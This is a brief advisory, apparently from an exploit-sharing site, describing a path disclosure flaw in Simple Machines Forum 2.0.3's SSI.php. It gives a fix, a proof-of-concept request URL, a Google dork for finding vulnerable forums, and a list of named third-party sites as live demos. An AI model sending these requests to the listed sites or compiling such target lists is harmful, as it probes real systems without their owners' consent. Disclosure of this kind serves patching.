Simple Machines Forum 2.0.3 Path Disclosure

`*Summary:*  
--------------  
A security flaw allows an attacker to know the full path of the web system.  
  
*Details:  
-----------  
*SSI.php Line 294:  
// Fetch a post with a particular ID. By default will only show if you have  
permission to the see the board in question - this can be overriden.  
function ssi_fetchPosts($post_ids, $override_permissions = false,  
$output_method = 'echo')  
{  
  
$post_id is not defined. Possible fix: ($post_id = false)  
  
  
*PoC:  
-------  
*http://example.com/forumpath/SSI.php?ssi_function=fetchPosts  
  
*Google Dorks:  
---------------------  
*inurl:?index.php?action=help  
  
*Demos:  
-----------  
*http://simpleportal.net/SSI.php?ssi_function=fetchPosts  
http://www.furgovw.org/SSI.php?ssi_function=fetchPosts  
http://www.teachmideast.com/forum_old/SSI.php?ssi_function=fetchPosts  
http://www.slowracing.com/jaxfox/SSI.php?ssi_function=fetchPosts  
http://www.iptv2you.com/board/SSI.php?ssi_function=fetchPosts  
http://voceteopr.com/SSI.php?ssi_function=fetchPosts  
http://www.thesilverball.com/SSI.php?ssi_function=fetchPosts  
http://othforums.com/SSI.php?ssi_function=fetchPosts  
http://www.skinmod.eu/SSI.php?ssi_function=fetchPosts  
  
Referer and Mirror:  
-------------------------  
http://whk.drawcoders.net/index.php/topic,2792.0.html  
`